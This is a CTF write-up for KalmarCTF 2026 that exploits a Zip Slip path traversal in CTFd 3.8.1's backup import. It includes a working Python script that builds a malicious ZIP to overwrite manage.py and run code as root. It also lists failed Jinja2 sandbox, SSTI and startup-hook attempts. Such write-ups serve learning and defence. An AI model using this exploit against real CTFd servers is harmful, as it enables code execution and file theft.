[WRITEUP-LOG] [2026-03-29] #ctf

KalmarCTF 2026 RootBabyKalmarCTF Writeup — Zip Slip (CVE-2026-30345) for CTFd Root

Target
CTFd 3.8.1
Severity
Critical
Vulnerability
Path Traversal (Zip Slip)
BY ICHIBURN Est. 3 MIN READ

Overview

KalmarCTF 2026 Web challenge “RootBabyKalmarCTF” (170pts).
A CTFd 3.8.1 instance is provided with admin credentials for the management panel.
The goal is to read /flag2-<random>.txt as root, not admin.

Vulnerability

CVE-2026-30345: CTFd 3.8.1 Zip Slip (Path Traversal)

The /admin/import backup import function checks if ZIP file entry names contain ...
However, the check can be bypassed using the uploads//absolute/path format (double slash).

The Check

for f in members:
    if f.startswith("/") or ".." in f:
        raise zipfile.BadZipfile

The Bypass

Entry name: uploads//opt/CTFd/manage.py

  • startswith("/") → False (starts with uploads/)
  • ".." in f → False (no .. present)
  • File processing: f.split("/", 1)[1]/opt/CTFd/manage.py (absolute path)
  • os.path.join("/var/CTFd/uploads", "/opt/CTFd/manage.py")/opt/CTFd/manage.py

Python’s os.path.join ignores the first argument when the second is an absolute path.
This is the core of the Zip Slip bypass.

Exploitation Steps

Step 1: Obtain Export

Log in as admin and download a legitimate backup ZIP from /admin/export.
The DB structure (db/ directory) is required for import.

Step 2: Craft Malicious ZIP

Place three files via Zip Slip:

  1. manage.py — The file that background_import_ctf executes via subprocess.Popen as a separate process. Inject code to read the flag and write it to the template directory.
  2. notifications.html — Jinja2 template. Uses {% include "flag_data.html" %} to include the flag file.
  3. flag_data.html — Placeholder. manage.py overwrites it with flag contents.
import zipfile, os

EXPORT_DIR = '/tmp/ctfd-export'
OUTPUT = '/tmp/exploit.zip'

manage_py = '''#!/usr/bin/env python3
import os, glob
flag = ''
for f in glob.glob('/flag2-*.txt'):
    with open(f) as fh: flag += fh.read()
if not flag: flag = 'NO_FLAG: ' + str(os.listdir('/'))
for path in ['/opt/CTFd/CTFd/themes/core/static/img/f.txt',
             '/opt/CTFd/CTFd/themes/core/templates/flag_data.html']:
    try:
        os.makedirs(os.path.dirname(path), exist_ok=True)
        with open(path, 'w') as fh: fh.write(flag)
    except: pass
from flask.cli import FlaskGroup
from CTFd import create_app
app = create_app()
cli = FlaskGroup(app)
cli()
'''

# Jinja2 template: includes flag_data.html to display the flag
# MARKER={{ 7*7 }} is a template engine verification (displays 49 if working)
ssti_include = '{% include "flag_data.html" ignore missing %}MARKER={{ 7*7 }}'

with zipfile.ZipFile(OUTPUT, 'w') as zf:
    # DB files (required for valid import)
    for root, dirs, files in os.walk(os.path.join(EXPORT_DIR, 'db')):
        for fname in files:
            fpath = os.path.join(root, fname)
            zf.write(fpath, os.path.relpath(fpath, EXPORT_DIR))

    # Zip Slip payloads
    zf.writestr('uploads//opt/CTFd/manage.py', manage_py)
    zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/notifications.html',
                ssti_include)
    zf.writestr('uploads//opt/CTFd/CTFd/themes/core/templates/flag_data.html',
                'PLACEHOLDER')

Step 3: First Import

Upload the ZIP to /admin/import.
This overwrites manage.py and places the template files.

Step 4: Second Import

Why two imports? The first import overwrites manage.py. The second import causes CTFd to execute background_import_ctfsubprocess.Popen which runs the overwritten manage.py as a new process. First import is “planting the weapon”, second is “pulling the trigger”.

manage.py then:

  1. Searches for /flag2-*.txt via glob
  2. Writes flag contents to flag_data.html (for template display)
  3. Writes flag contents to static/img/f.txt (backup via direct access)
  4. Executes the original import process

Step 5: Retrieve Flag

Access /notifications. The template renders {% include "flag_data.html" %} displaying the flag.

Flag

kalmar{RootBabyKalmarCTF-wow_you_are_really_up_to_no_good_you_naughty_root_wizard_10d78345f5b9e992}

Failed Attacks (Lessons Learned)

AttemptResultLesson
Plugin upload/admin/plugins returned 404Features can be disabled per environment
SSTI via Pages APITemplate not evaluatedCTFd does not process page content as Jinja2
Jinja2 Sandbox bypass__globals__ blockedCTFd uses SandboxedEnvironment. attr(), string concat, lipsum all failed
sandbox.py overwriteFile overwritten but not reflectedPython’s sys.modules cache prevents module reload
Template cache issueOld content displayed after overwriteJinja2 LRU cache. Target uncached templates
sitecustomize.py, .pthWritten successfully but not executedPython startup hooks don’t fire without process restart

Key Insights

  1. os.path.join behavior: Ignores first argument when second is absolute — the core of the Zip Slip bypass
  2. background_import_ctf spawns a new process: Overwriting manage.py means arbitrary code execution on next import
  3. Jinja2 template cache: Target uncached templates (LRU cache evasion)
  4. docker-compose.yml with user: root: CTFd process runs as root, enabling arbitrary file read/write